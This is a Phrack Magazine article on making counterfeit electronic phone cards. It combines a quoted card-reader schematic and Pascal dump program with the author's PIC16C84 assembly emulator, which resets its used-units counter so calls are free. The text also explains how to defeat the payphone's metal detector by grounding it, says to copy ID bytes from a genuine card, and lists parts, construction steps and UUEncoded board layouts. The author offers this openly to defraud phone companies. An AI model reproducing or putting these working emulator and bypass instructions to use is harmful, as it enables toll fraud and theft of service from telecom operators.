The counter area is divided into a 5 stage abacus.
Note that you can only decrease the counter and it is not authorized to
write in the counter a value greater than the old value.
I-6) Electrical features:
--------------------
Maximum ratings:
----------------
+--------+------+------+------+
| Symbol | Min | Max | Unit |
+----------------------+--------+------+------+------+
| Supply voltage | Vcc | -0.3 | 6 | V |
+----------------------+--------+------+------+------+
| Input voltage | Vss | -0.3 | 6 | V |
+----------------------+--------+------+------+------+
| Storage temperature | Tstg | -20 | +55 | 0C |
+----------------------+--------+------+------+------+
| Power dissipation | Pd | - | 50 | mW |
+----------------------+--------+------+------+------+
DC characteristics:
------------------
+--------+-----+-----+-----+------+
| Symbol | Min.| Typ.| Max.| Unit |
+---------------------------+--------+-----+-----+-----+------+
| Supply current | Icc | - | - | 5 | mA |
+---------------------------+--------+-----+-----+-----+------+
| Input Voltage (low) | Vl | 0 | - | 0.8 | V |
+---------------------------+--------+-----+-----+-----+------+
| Input voltage (high) | Vh | 3.5 | - | Vcc | V |
+---------------------------+--------+-----+-----+-----+------+
| Input current R | Ih | - | - | 100 | uA |
+---------------------------+--------+-----+-----+-----+------+
| Input current Clk | Il | - | - | 100 | uA |
+---------------------------+--------+-----+-----+-----+------+
| Output current (Vol=0.5V) | Iol | - | - | 10 | uA |
+---------------------------+--------+-----+-----+-----+------+
| Output current (Voh=5V) | Ioh | - | - | 0.5 | mA |
+---------------------------+--------+-----+-----+-----+------+
AC characteristics:
------------------ +--------+------+------+------+
| Symbol | Min. | Max. | Unit |
+----------------------+--------+------+------+------+
| Pulse duration | tr | 50 | - | us |
| R address reset | | | | |
+----------------------+--------+------+------+------+
| Pulse duration | ts | 10 | - | us |
| R write | | | | |
+----------------------+--------+------+------+------+
| High level Clk | th | 8 | - | us |
+----------------------+--------+------+------+------+
| Low level Clk | tl | 12 | - | us |
+----------------------+--------+------+------+------+
| Write window | Twrite | 10 | - | ms |
+----------------------+--------+------+------+------+
| Erase window | Terase | 10 | - | ms |
+----------------------+--------+------+------+------+
| | tv1 | 5 | - | us |
+----------------------+--------+------+------+------+
| | tv2 | 3.5 | - | us |
+----------------------+--------+------+------+------+
| | tv3 | 3.5 | - | us |
+----------------------+--------+------+------+------+
| | tv4 | 3.5 | - | us |
+----------------------+--------+------+------+------+
| | tv5 | 3.5 | - | us |
+----------------------+--------+------+------+------+
| | tv6 | 5 | - | us |
+----------------------+--------+------+------+------+
| | tv7 | 5 | - | us |
+----------------------+--------+------+------+------+
| | tv8 | 10 | - | us |
+----------------------+--------+------+------+------+
III) The Reader Schematic:
======================
External 5V (Optional)
5V o------,
| / T2 PNP d13 r7 10
0V o--, | / BC 177 |\ | _____
| | ,-------o/ o--*------. E C .--| >+-[_____]--------,
__+__ | | | \ / |/ | |
\\\\\ | __|__ Battery | \ / |
| - 22.5V | --------- |
....... | | | _____ | _____ |
: | __+__ +--[_____]--*--[_____]--, |
D2 : | \\\\\ r6 150k r5 15k | |
4 o-------|---------------------------*------------------|-------------, |
: | | r3 220k / C | |
Ack : | | _____ |/ T1 - NPN | |
10 o------|--------. '--[_____]-*---| BC107 | |
: | | _____ | |\ | |
: ,-, ,-, +--[_____]-' \ E | |
: | |r2 | |r1 | r4 390k | | |
: | |220 | |22k __+__ __+__ | |
: |_| |_| \\\\\ \\\\\ | |
: | |\ | | | |
: *--| >+--|----------------*----------------------------------|--*
: | |/ | | ,-----|-----------------------------, | |
: | d1 | | | ,----------,----------, | | |
: | | | *---|--* Fuse | Reset *--|---' | |
: | | | | |----------|----------| | |
D0 : | | | ,-|---|--* I/O | Clk *--|---, | |
2 o-------|--------|----------' | | |----------|----------| | | |
: | | | '---|--* Vpp | R/W *--|---|----' |
Busy : | | | |----------|----------| | |
11 o------|--------|--------------' ,---|--* Gnd | 5V * | | |
: | | | '----------'-------|--' | |
D1 : | | __+__ Chip connector | | |
3 o-------|--------|--------, \\\\\ | | |
: | | '------------------------------|------' |
Str : | |\ | | | |
1 o-------*--| >+--*----*----*----*----*-------------------' |
: d2|/ | |d3 |d4 |d5 |d6 |d7 |
: -+- -+- -+- -+- -+- |
: /_\ /_\ /_\ /_\ /_\ |
D3 : | | | | | |\ | d8 |
5 o----------------*----|----|----|----|---| >+-------*-------------------'
: | | | | |/ | |
: | | | | |
D4 : | | | | |\ | d9 |
6 o---------------------*----|----|----|---| >+-------*
: | | | |/ | |
: | | | |
D5 : | | | |\ | d10 |
7 o--------------------------*----|----|---| >+-------*
: | | |/ | |
: | | |
D6 : | | |\ | d11 |
8 o-------------------------------*----|---| >+-------*
: | |/ | |
: | |
D7 : | |\ | d12 |
9 o------------------------------------*---| >+-------'
: |/ |
:
:
25 o------.
: |
.......: | d1 to d13: 1N4148
__+__
\\\\\
Centronics port
IV) The program:
===========
The following program will enable you to read telecards on you PC if you
build the reader.
--------------- cut here (begin)
{*****************************************************************************}
{ T E L E C A R D . PAS }
{*****************************************************************************}
{ This program enable you to dumb the memory of electronics phonecards }
{ from all over the world, so that you will be able to see which country }
{ the card is from how many units are left and so on .... }
{*****************************************************************************}
{ }
{ Written by Stephane BAUSSON (1993) }
{ }
{ Email: sbausson@ensem.u-nancy.fr }
{ }
{ Snail Mail Address: 4, Rue de Grand }
{ F-88630 CHERMISEY }
{ France }
{ }
{*****************************************************************************}
{* Thanks to: Tomi Engdahl (Tomi.Engdahl@hut.fi) *}
{*****************************************************************************}
USES crt,dos;
CONST port_address=$378; { lpr1 chosen }
TYPE string8=string[8];
string2=string[2];
VAR reg : registers;
i,j : integer;
Data : array[1..32] of byte;
car : char;
byte_number : integer;
displaying : char;
{-----------------------------------------------------------------------------}
PROCEDURE Send(b:byte);
BEGIN port[port_address]:=b;
END;
{-----------------------------------------------------------------------------}
FUNCTION Get:byte;
BEGIN get:=port[port_address+1];
END;
{-----------------------------------------------------------------------------}
{ FUNCTION dec2hexa_one(decimal_value):hexa_character_representation; }
{ }
{ - convert a 4 bit long decimal number to hexadecimal. }
{-----------------------------------------------------------------------------}
FUNCTION dec2hexa_one(value:byte):char;
BEGIN case value of
0..9 : dec2hexa_one:=chr(value+$30);
10..15 : dec2hexa_one:=chr(value+$37);
END;
END;
{-----------------------------------------------------------------------------}
{ FUNCTION d2h(decimal_byte):string2; }
{ }
{ - convert a decimal byte to its hexadecimal representation. }
{-----------------------------------------------------------------------------}
FUNCTION d2h(value:byte):string2;
VAR msbb,lsbb:byte;
BEGIN msbb:=0;
if ( value >= $80 ) then
BEGIN msbb:=msbb+8;
value:=value-$80;
END;
if ( value >= $40 ) then
BEGIN msbb:=msbb+4;
value:=value-$40;
END;
if ( value >= $20 ) then
BEGIN msbb:=msbb+2;
value:=value-$20;
END;
if ( value >= $10 ) then
BEGIN msbb:=msbb+1;
value:=value-$10;
END;
lsbb:=0;
if ( value >= $08 ) then
BEGIN lsbb:=lsbb+8;
value:=value-$08;
END;
if ( value >= $04 ) then
BEGIN lsbb:=lsbb+4;
value:=value-$04;
END;
if ( value >= $02 ) then
BEGIN lsbb:=lsbb+2;
value:=value-$02;
END;
if ( value >= $01 ) then
BEGIN lsbb:=lsbb+1;
value:=value-$01;
END;
d2h := dec2hexa_one(msbb) + dec2hexa_one(lsbb);
END;
{-----------------------------------------------------------------------------}
Function Binary( b : byte):string8;
var weight : byte;
s : string8;
BEGIN weight:=$80;
s:='';
while (weight > 0) do
BEGIN if ((b and weight) = weight) then s:=s+'1'
else s:=s+'0';
weight:=weight div $02;
END;
Binary:=s;
END;
{-----------------------------------------------------------------------------}
FUNCTION Units:byte;
VAR u, i : integer;
s : string8;
BEGIN u:=0;
i:=13;
while (Data[i] = $FF) do
BEGIN u:=u+8;
i:=i+1;
END;
s:=Binary(Data[i]);
while(s[1]='1') do
BEGIN inc(u);
s:=copy(s,2,length(s));
END;
units:=u;
END;
{-----------------------------------------------------------------------------}
function Units_2:LongInt;
BEGIN Units_2:=4096*Data[9]+512*Data[10]+64*Data[11]+8*Data[12]+Data[13];
END;
{-----------------------------------------------------------------------------}
PROCEDURE Card_Type;
BEGIN case Data[2] of
$03: BEGIN write('Telecard - France - ');
case Data[12] of
$13: write('120 Units - ',units-130,' Units left');
$06: write('50 Units - ',units-60,' Units left');
$15: write('40 Units - ',units-40,' Units left');
END;
END;
$2F:BEGIN write('Telecard - Germany - ', Units_2, ' Units left');
END;
$3B:BEGIN write('Telecard - Greece - ', Units_2, ' Units left');
END;
$83:BEGIN write('Telecard');
case Data[12] of
$1E: write(' - Sweden');
$30: write(' - Norway');
$33: write(' - Andorra');
$3C: write(' - Ireland');
$47: write(' - Portugal');
$55: write(' - Czech Republic');
$5F: write(' - Gabon');
$65: write(' - Finland');
END;
if (Data[12] in [$30,$33,$3C,$47,$55,$65]) then
BEGIN case ((Data[3] and $0F)*$100+Data[4]) of
$012: write (' - 10 Units - ',units-12,' Units left');
$024: write (' - 22 Units - ',units-24,' Units left');
$027: write (' - 25 Units - ',units-27,' Units left');
$032: write (' - 30 Units - ',units-32,' Units left');
$052: write (' - 50 Units - ',units-52,' Units left');
$067: write (' - 65 Units - ',units-62,' Units left');
$070: write (' - 70 Units - ',units-70,' Units left');
$102: write (' - 100 Units - ',units-102,' Units left');
$152: write (' - 150 Units - ',units-152,' Units left');
END;
END;
{ write(' - N0 ',Data[5]*$100+Data[6]);}
END;
END;
END;
{-----------------------------------------------------------------------------}
PROCEDURE waiting;
BEGIN send($00);
write('Enter a card in the reader and press a key ...');
repeat until key pressed;
gotoxy(1, wherey);
clreol;
END;
{-----------------------------------------------------------------------------}
PROCEDURE Full_Displaying;
BEGIN writeln('Memory dump:');
for i:=1 to 80 do write('-');
for i:=1 to (byte_number div 6 + 1) do
BEGIN for j:=1 to 6 do
BEGIN if j+6*(i-1) <= byte_number then write(binary(Data[j+6*(i-1)]):9);
END;
gotoxy(60,wherey);
for j:=1 to 6 do
if j+6*(i-1) <= byte_number then write(d2h(Data[j+6*(i-1)]),' ');
writeln;
END;
for i:=1 to 80 do write('-');
Card_Type;
writeln;
END;
{-----------------------------------------------------------------------------}
PROCEDURE Short_Displaying;
VAR j : integer;
BEGIN for j:=1 to byte_number do
BEGIN write(d2h(Data[j]),' ');
END;
writeln;
END;
{-----------------------------------------------------------------------------}
PROCEDURE Reading;
VAR i, j : integer;
Value : byte;
BEGIN send($FE);
send($F8);
for i:=1 to 32 do
BEGIN Value:=0;
for j:=1 to 8 do
BEGIN Value:=Value*$02 + ((get and $08) div $08);
send($FB);
delay(1);
send($F8);
END;
Data[i]:=Value;
END;
case displaying of
'F':full_displaying;
'S':short_displaying;
END;
END;
{-----------------------------------------------------------------------------}
PROCEDURE writing;
VAR i,n:integer;
car:char;
BEGIN write('Which bit do you want to set to "1" : ');
readln(n);
waiting;
car:=readkey;
send($FA);
send($F8);
for i:=1 to n do
BEGIN send($F9);
if i=n then
BEGIN send($FD);
delay(20);
send($FF);
delay(20);
END;
send($FB);
END;
reading;
END;
{-----------------------------------------------------------------------------}
PROCEDURE Saving;
VAR filename : string;
f : text;
i : word;
BEGIN write('Enter the filename: ');
readln(filename);
assign(f, filename);
rewrite(f);
for i:=1 to byte_number do write(f,d2h(Data[i]),' ');
close(f);
END;
{-----------------------------------------------------------------------------}
PROCEDURE initialize;
VAR i : integer;
BEGIN byte_number:=32;
displaying:='F';
clrscr;
writeln(' 1 - to dump a 256 bits card');
writeln(' 2 - to dump a 128 bits card');
writeln(' F - to display in full format');
window(41,1,80,25);
writeln(' S - to display in short format');
writeln(' F2 - to save in a file');
writeln(' Q - to exit the program');
window(1,4,80,25);
for i:=1 to 80 do write('=');
window(1,5,80,25);
END;
{=============================================================================}
BEGIN initialize;
repeat waiting;
car:=upcase(readkey);
case car of
'W':writing;
'Q':;
'1':byte_number:=32;
'2':byte_number:=16;
'F','S':displaying:=car;
#00: BEGIN car:=readkey;
if car=#60 then saving;
END;
else reading;
END;
until car='Q';
END.
--------------- cut here (end)
_/_/_/_/_/ Stephane BAUSSON
_/_/_/_/_/ Engineering student at ENSEM (Nancy - France)
_/_/_/_/_/ Smail: 4, Rue de Grand, F-88630 CHERMISEY, France
_/_/_/_/_/
_/_/_/_/_/ Email: sbausson@ensem.u-nancy.fr
------------------------------------------------------------------------------
<End of text quoted from Stephane Bausson's text about the telephone cards>.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 11 of 18
Electronic Telephone Cards: How to make your own!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(continued)
The Program:
~~~~~~~~~~~~
Well, when I saw this phile about the cards the first time, about a year
ago I quickly realized that this system is very unsecure and really
needs to be hacked. So, now I present you with a piece of software for
the PIC 16C84 RISC micro-controller from Microchip that will take care
of emulating the cards used by Schlumberger and others. This system is
to be found in Scandinavia (Sweden, Norway and Finland), Spain, France
and other countries. I do know that France probably needs some small
modifications for this to work, but I see no reason to as why it
shouldn't do so! For this to work, you need to have access to a PROM
burner which can handle the PIC 16C84, or you might just build one
yourself as I include some plans for that in the UUEncoded block to be
found at the end of this phile. First of all, you have to read off the
first 12 bytes of data from a valid card from the country you wish your
emulator to work in. This because I don't think it would be a good idea
to publish stolen card identities in Phrack. Then you simply enter those
12 bytes of data in the proper place in my program and compile it.
That's it... And since I happen to choose a version of the PIC with
internal Data EEPROM, that means that the first 12 locations of the Data
EEPROM should contain the card id bytes. As of today this code should
work smooth and fine, but maybe you'll need to modify it later on when
Schlumberger gets tired of my hack. But since the PIC is a very fast and
powerful micro-controller it might be quite hard for them to come up
with a solution to this problem. Let's have a look at the PIC Software!
(Note that the current version of Microchip's PICSTART 16B package is
unable to program the DATA EEPROM array in the 16C84 so if you are going
to use that one, use the other version of the source code which you'll
find in the UUEncoded part!).
<Start of TELECARD.ASM>.
==============================================================================
TITLE "ISO 7816 Synchronous Memory Card Emulator"
LIST P=PIC16C84, R=HEX
INCLUDE "PICREG.EQU"
; PIC16C84 I/O Pin Assignment List
CRD_CLK equ 0 ; RB0 + RA4 = Card Clock
CRD_DTA equ 0 ; RA0 = Card Data Output
CRD_RST equ 1 ; RB1 = Card Reset, Low-Active
CRD_WE equ 7 ; RB7 = Card Write-Enable, Hi-Active
; PIC16C84 RAM Register Assignments
CRD_ID equ 0x00c ; Smartcard ID, 12 bytes
FUSCNT equ 0x018 ; Fused units counter
BITCNT equ 0x019 ; Bitcounter
LOOPCNT equ 0x01a ; Loop Counter
EE_FLAG equ 0x01b ; EEPROM Write Flag
TEMP1 equ 0x01c ; Temporary Storage #1
TEMP2 equ 0x01d ; Temporary Storage #2
TEMP3 equ 0x01e ; Temporary Storage #3
TEMP4 equ 0x01f ; Temporary Storage #4
TEMP_W equ 0x02e ; Temporary W Save Address
TEMP_S equ 0x02f ; Temporary STATUS Save Address
org 0x2000 ; Chip ID Data
dw 042,042,042,042
org 0x2007 ; Configuration Fuses
dw B'00000001'
org 0x2100 ; Internal Data EEPROM Memory (Card ID!!!)
db 0x081,0x042,0x000,0x011,0x022,0x033
db 0x044,0x055,0x066,0x077,0x011,0x084
db 0x002 ; Default used up credits value
org PIC84 ; Reset-vector
goto INIT ; Jump to initialization routine
org INTVEC ; Interrupt-vector
push ; Save registers
call INTMAIN ; Call main interrupt routine
pop ; Restore registers
retfie ; return from interrupt & clear flag
org 0x010 ; Start address for init rout.
INIT bsf STATUS,RP0 ; Access register bank 1
clrwdt ; Clear watchdog timer
movlw B'11101000' ; OPTION reg. settings
movwf OPTION ; Store in OPTION register
movlw B'11111110' ; Set PORT A Tristate Latches
movwf TRISA ; Store in PORT A tristate register
movlw B'11111111' ; Set PORT B Tristate Latches
movwf TRISB ; Store in PORT B tristate register
bcf STATUS,RP0 ; Access register bank 0
clrf RTCC ; Clear RTCC
clrf PORTA ; Clear PORTA
clrf PORTB ; Clear PORTB
movlw 0d ; 13 bytes to copy
movwf LOOPCNT ; Store in LOOPCNT
movlw 0c ; Start storing at $0c in RAM
movwf FSR ; Store in FSR
clrf EEADR ; Start at EEPROM Address 0
EECOPY
bsf STATUS,RP0 ; Access register bank 1
bsf EECON1,RD ; Set EECON1 Read Data Flag
bcf STATUS,RP0 ; Access register bank 0
movfw EEDATA ; Read one byte of EEPROM Data
movwf INDIR ; Store in RAM pointed at by FSR
incf FSR ; Increase FSR pointer
incf EEADR ; Increase EEPROM Address Pointer
decfsz LOOPCNT,1 ; Decrease LOOPCNT until it's 0
goto EECOPY ; Go and get some more bytes!
bsf STATUS,RP0 ; Access register bank 1
bcf EECON1,EEIF ; Clear EEPROM Write Int. Flag
bcf EECON1,WREN ; EEPROM Write Disable
bcf STATUS,RP0 ; Access register bank 0
movlw B'10010000' ; Enable INT Interrupt
movwf INTCON ; Store in INTCON
MAIN bsf STATUS,RP0 ; Access register bank 1
btfsc EECON1,WR ; Check if EEPROM Write Flag Set
goto MAIN ; Skip if EEPROM Write is Completed
bcf EECON1,EEIF ; Reset Write Completion Flag
bcf EECON1,WREN ; EEPROM Write Disable
bcf STATUS,RP0 ; Access register bank 0
btfss EE_FLAG,LSB ; Check for EEPROM Write Flag
goto MAIN ; If not set, jump back and wait some more
clrf EE_FLAG ; Clear EEPROM Write Flag
movlw 0c ; Units is stored in byte $0c
movwf EEADR ; Store in EEPROM Address Counter
movfw FUSCNT ; Get fused units counter
movwf EEDATA ; Store in EEDATA
bsf STATUS,RP0 ; Access register bank 1
bsf EECON1,WREN ; EEPROM Write Enable
bcf INTCON,GIE ; Disable all interrupts
movlw 055 ; Magic Number #1 for EEPROM Write
movwf EECON2 ; Store in EECON2
movlw 0aa ; Magic Number #2 for EEPROM Write
movwf EECON2 ; Store in EECON2
bsf EECON1,WR ; Execute EEPROM Write
bsf INTCON,GIE ; Enable all interrupts again!
bcf STATUS,RP0 ; Access register bank 0
goto MAIN ; Program main loop!
INTMAIN btfsc INTCON,INTF ; Check for INT Interrupt
goto INTMAIN2 ; If set, jump to INTMAIN2
movlw B'00010000' ; Enable INT Interrupt
movwf INTCON ; Store in INTCON
return
INTMAIN2
bcf STATUS,RP0 ; Access register bank 0
bsf PORTA,CRD_DTA ; Set Data Output High
btfsc PORTB,CRD_RST ; Check if reset is low
goto NO_RST ; If not, skip reset sequence
movfw RTCC ; Get RTCC Value
movwf TEMP4 ; Store in TEMP4
clrf RTCC ; Clear RTCC
movlw 055 ; Subtract $55 from TEMP4
subwf TEMP4,0 ; to check for card reset....
bnz NO_RST2 ; If not zero, jump to NO_RST
movlw 02 ; Unused one has $02 in FUSCNT
movwf FUSCNT ; Store full value in FUSCNT
bsf EE_FLAG,LSB ; Set EEPROM Write Flag
NO_RST2 bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
NO_RST movfw RTCC ; Get RTCC Value
movwf BITCNT ; Copy it to BITCNT
movwf TEMP1 ; Copy it to TEMP1
movwf TEMP2 ; Copy it to TEMP2
movlw 060 ; Load W with $60
subwf TEMP1,0 ; Subtract $60 from TEMP1
bz CREDIT ; If it is equal to $60
bc CREDIT ; or greater, then skip to units area
rrf TEMP2 ; Rotate TEMP2 one step right
rrf TEMP2 ; Rotate TEMP2 one step right
rrf TEMP2 ; Rotate TEMP2 one step right
movlw 0f ; Load W with $f
andwf TEMP2,1 ; And TEMP2 with W register
movfw TEMP2 ; Load W with TEMP2
addlw 0c ; Add W with $0c
movwf FSR ; Store data address in FSR
movfw INDIR ; Get data byte pointed at by FSR
movwf TEMP3 ; Store it in TEMP3
movlw 07 ; Load W with $07
andwf TEMP1,1 ; And TEMP1 with $07
bz NO_ROT ; If result is zero, skip shift loop
ROTLOOP rlf TEMP3 ; Shift TEMP3 one step left
decfsz TEMP1,1 ; Decrement TEMP1 until zero
goto ROTLOOP ; If not zero, repeat until it is!
NO_ROT btfss TEMP3,MSB ; Check if MSB of TEMP3 is set
bcf PORTA,CRD_DTA ; Clear Data Output
bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
CREDIT btfss PORTB,CRD_WE ; Check if Card Write Enable is High
goto NO_WRT ; Abort write operation if not...
btfss PORTB,CRD_RST ; Check if Card Reset is High
goto NO_WRT ; Abort write operation if not...
incf FUSCNT ; Increase used-up units counter
bsf EE_FLAG,LSB ; Set EEPROM Write-Flag
bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
NO_WRT movlw 060 ; Load W with $60
subwf BITCNT,1 ; Subtract $60 from BITCNT
movfw FUSCNT ; Load W with FUSCNT
subwf BITCNT,1 ; Subtract FUSCNT from BITCNT
bnc FUSED ; If result is negative, unit is fused
bcf PORTA,CRD_DTA ; Clear Data Output
FUSED bcf INTCON,INTF ; Clear INT Interrupt Flag
return ; Mission Accomplished, return to sender
END
==============================================================================
<End of TELECARD.ASM>.
<Start of PICREG.EQU>.
==============================================================================
; PIC16Cxx Micro-controller Include File
PIC54 equ 0x1ff ; PIC16C54 Reset Vector
PIC55 equ 0x1ff ; PIC16C55 Reset Vector
PIC56 equ 0x3ff ; PIC16C56 Reset Vector
PIC57 equ 0x7ff ; PIC16C57 Reset Vector
PIC71 equ 0x000 ; PIC16C71 Reset Vector
PIC84 equ 0x000 ; PIC16C84 Reset Vector
INTVEC equ 0x004 ; PIC16C71/84 Interrupt Vector
INDIR equ 0x000 ; Indirect File Reg Address Register
RTCC equ 0x001 ; Real Time Clock Counter
PCL equ 0x002 ; Program Counter Low Byte
STATUS equ 0x003 ; Status Register
FSR equ 0x004 ; File Select Register
PORTA equ 0x005 ; Port A I/O Register
PORTB equ 0x006 ; Port B I/O Register
PORTC equ 0x007 ; Port C I/O Register
ADCON0 equ 0x008 ; PIC16C71 A/D Control Reg 0
ADRES equ 0x009 ; PIC16C71 A/D Converter Result Register
EEDATA equ 0x008 ; PIC16C84 EEPROM Data Register
EEADR equ 0x009 ; PIC16C84 EEPROM Address Register
PCLATH equ 0x00a ; Program Counter High Bits
INTCON equ 0x00b ; Interrupt Control Register
TRISA equ 0x005 ; Port A I/O Direction Register
TRISB equ 0x006 ; Port B I/O Direction Register
TRISC equ 0x007 ; Port C I/O Direction Register
ADCON1 equ 0x008 ; PIC16C71 A/D Control Reg 1
EECON1 equ 0x008 ; PIC16C84 EEPROM Control Reg. 1
EECON2 equ 0x009 ; PIC16C84 EEPROM Control Reg. 2
OPTION equ 0x001 ; Option Register
MSB equ 0x007 ; Most-Significant Bit
LSB equ 0x000 ; Least-Significant Bit
TRUE equ 1
YES equ 1
FALSE equ 0
NO equ 0
; Status Register (f03) Bits
CARRY equ 0x000 ; Carry Bit
C equ 0x000 ; Carry Bit
DCARRY equ 0x001 ; Digit Carry Bit
DC equ 0x001 ; Digit Carry Bit
Z_BIT equ 0x002 ; Zero Bit
Z equ 0x002 ; Zero Bit
P_DOWN equ 0x003 ; Power Down Bit
PD equ 0x003 ; Power Down Bit
T_OUT equ 0x004 ; Watchdog Time-Out Bit
TO equ 0x004 ; Watchdog Time-Out Bit
RP0 equ 0x005 ; Register Page Select 0
RP1 equ 0x006 ; Register Page Select 1
IRP equ 0x007 ; Indirect Addressing Reg. Page Sel.
; INTCON Register (f0b) Bits
RBIF equ 0x000 ; RB Port change interrupt flag
INTF equ 0x001 ; INT Interrupt Flag
RTIF equ 0x002 ; RTCC Overflow Interrupt Flag
RBIE equ 0x003 ; RB Port Ch. Interrupt Enable
INTE equ 0x004 ; INT Interrupt Enable
RTIE equ 0x005 ; RTCC Overflow Int. Enable
ADIE equ 0x006 ; PIC16C71 A/D Int. Enable
EEIE equ 0x006 ; PIC16C84 EEPROM Write Int. Enable
GIE equ 0x007 ; Global Interrupt Enable
; OPTION Register (f81) Bits
PS0 equ 0x000 ; Prescaler Bit 0
PS1 equ 0x001 ; Prescaler Bit 1
PS2 equ 0x002 ; Prescaler Bit 2
PSA equ 0x003 ; Prescaler Assignment Bit
RTE equ 0x004 ; RTCC Signal Edge Select
RTS equ 0x005 ; RTCC Signal Source Select
INTEDG equ 0x006 ; Interrupt Edge Select
RBPU equ 0x007 ; Port B Pull-up Enable
; ADCON0 Register (f08) Bits
ADON equ 0x000 ; A/D Converter Power Switch
ADIF equ 0x001 ; A/D Conversion Interrupt Flag
ADGO equ 0x002 ; A/D Conversion Start Flag
CHS0 equ 0x003 ; A/D Converter Channel Select 0
CHS1 equ 0x004 ; A/D Converter Channel Select 1
ADCS0 equ 0x006 ; A/D Conversion Clock Select 0
ADCS1 equ 0x007 ; A/D Conversion Clock Select 0
; ADCON1 Register (f88) Bits
PCFG0 equ 0x000 ; RA0-RA3 Configuration Bit 0
PCFG1 equ 0x001 ; RA0-RA3 Configuration Bit 0
; EECON1 Register (f88) Bits
RD equ 0x000 ; PIC16C84 EEPROM Read Data Flag
WR equ 0x001 ; PIC16C84 EEPROM Write Data Flag
WREN equ 0x002 ; PIC16C84 EEPROM Write Enable Flag
WRERR equ 0x003 ; PIC16C84 EEPROM Write Error Flag
EEIF equ 0x004 ; PIC16C84 EEPROM Interrupt Flag
; Some useful macros...
PUSH macro
movwf TEMP_W
swapf STATUS,W
movwf TEMP_S
endm
POP macro
swapf TEMP_S,W
movwf STATUS
swapf TEMP_W
swapf TEMP_W,W
endm
END
==============================================================================
<End of PICREG.EQU>.
The Security System:
~~~~~~~~~~~~~~~~~~~~
The security of the Schlumberger card system depends strongly on two
things: the metal detector in the card reader which senses if there is
any metal on the card where there shouldn't be any metal. Circuit traces
on a home built card is definitively made of metal. So, we have to
figure out a way of getting around this problem... Well, that isn't
really too hard! They made one really big mistake: If the metal detector
is grounded, it doesn't work!! If you look at the printout of my layouts
for this card you'll find one big area of the board that is rectangle
shaped. In this area you should make a big blob of solder that is
between 2-3 millimeters high (approximately!). When the card slides into
the phone, the blob should be touching the metal detector and since the
blob is connected to ground the detector is also being grounded. The
phone also counts the number of times the metal detector gets triggered
by foreign objects in the card reader (Meaning that the phone companies
security staff can see if someone's attempting to use a fake card that
doesn't have this counter-measure on it!) and this is of course included
in the daily service report the phone sends to the central computer.
The second security lies in the cards first 12 bytes, it's not just what
it appears to be: a serial number, it's more than that. Part of the
first byte is a checksum of the number of 1's in the 11 bytes following
it. Then byte 2 is always $83, identifying the card as an electronic
phonecard. Byte 3 and 4 is the number of units on the card: The first
nibble of byte 3 is always $1 and then in the remaining three nibbles
the number of units is stored in BCD code, for example $11,$22 means 120
units (Two units is always fused at the factory as a test, see the text
by Stephane Bausson!) Then we have 4 bytes of card serial number data, 2
bytes of card checksum (calculated with a 16 bit key stored in the
payphone's ROM), 1 byte that is always $11, and then at last, byte 12
which is the country identifier.
The Parts Needed:
~~~~~~~~~~~~~~~~~
01 * PIC16C84, 4 MHz version, Surface Mounted (SOIC-18 Package)
01 * 4 MHz Ceramic Resonator, Surface Mounted
02 * 22 pF Capacitors, Surface Mounted (Size 1206).
01 * 0.8mm thick single sided circuit board with P20 photoresist
The Construction:
~~~~~~~~~~~~~~~~~
Since this project is obviously not intended for the novice in
electronics I will not go into the basic details of soldering/etching
circuit boards. If you do not know much of this, ask a friend who does
for help. If you want to reach me for help, write to Phrack and ask them
to forward the letter to me as I wish to remain anonymous - This project
will probably upset a lot of phone companies and last but not least the
guys at Schlumberger Tech.
The UUEncoded Part:
~~~~~~~~~~~~~~~~~~~
In this part of the phile you will find circuit board layouts for Tango
PCB as well as HP LaserJet binary files which will output the layout
when printed from DOS with the PRINT command.
You will also find another version of the source code to use if your PIC
programmer can't handle the programming of the 64 byte Data EEPROM
array.
<UUEncoded Part Begins Here>.
------------------------------------------------------------------------------
section 1 of uuencode 5.22 of file telecard.zip by R.E.M.
begin 644 telecard.zip
M4$L#!!0````(``Q2,!V^G@!LQ@@``.P@```,````5$5,14-21#$N05--Q5G=
M<YLZ%G].9O(_G/1VM@_K9L%)D^YD^D`P2;GKV%[LW.P^=620;6TQ4!!QT[]^
M]8%``NQMLYU;SV0RH//3^=#Y%"?'1PM_,?8`X)4_G\+5>_L2YL])N,G3)"T+
MN,?;-'\&%^41>-LR1C3-7S'4V)\O&`AF'V:^:U^Z[R\&$'SXZ/V+K?D3=_PP
M\N`56PJ\NS/OGP\,<G)\#8H6_+]-8482<(J"K),M3BB,24$YE1N,/KGC?X#Z
MX2^E^&]5S]<0W%CP5PB<"_@@!7/C-/PLD:.%<PCI6`HS0A3!M*19224RD`H9
M2%OC:2MD@`M,!S!.=V^=D)(G+/&/'G3P5QK^2N$?<T+Q6R]!RQ@/X".I=S$L
M%#CWC-.:&07GFID*92)_U&5G?;6L4+";;U%.0\[-'PW`'L+RF6*&O7V8NY-%
M+])^+Y"W98$C*!-""PC3,F'L3XYO_,5>V-\%[(;0FGH\G<YT<IT:">IQFF;@
M*GK/^W0[=NYZZ9>"WO-FP?1>6@YN8[0^.5YX]S,;^D62-EC@;9;F*'^&.67_
MUQA^LR5NN`<7[<,-)>Y\#P[OPYU+W,4>W*J-6U2X"XG[]-B+&[;Y/<(</6%P
MHBC'15%AY_W8+D]G\3!O;7!R?)3FZPHSM"RKV>L:W`W)P!^)"&*$T4XN6!?#
M@?;7W>3*V"1-5F1=YHB2-!%.5VA[W;RQY,]^8^PS\WEHZ/N(8'S[A$-F<D:X
M3FG*%_R)K[DK)_R]W&;`%DE"*$$Q^28YYVE)28(-+OYD\8?GZF"?.VJ9:8RR
MLMA`S^]:6C*O(I<K%:(XKK:]=_R);@2^LD4D85))!HT\1UF:03\'IC,3PF22
M8[HBN(^:K91Y`JL\W39L_@)AC%$.*Q%+QDE9MF7J0U%.`4G7@%6:"Q,*0<].
MCI6AE\5*T$MW&@0S2^&=,.1`)2PL4?(9;&Z7.-]%M$]D5\BV0S3<1.D:*-GR
M-'&T39_BG?`.V[:9F);UI@),9PM_.N$\SJ#`E%EP74C`CHM5+1M*<0,RPS=(
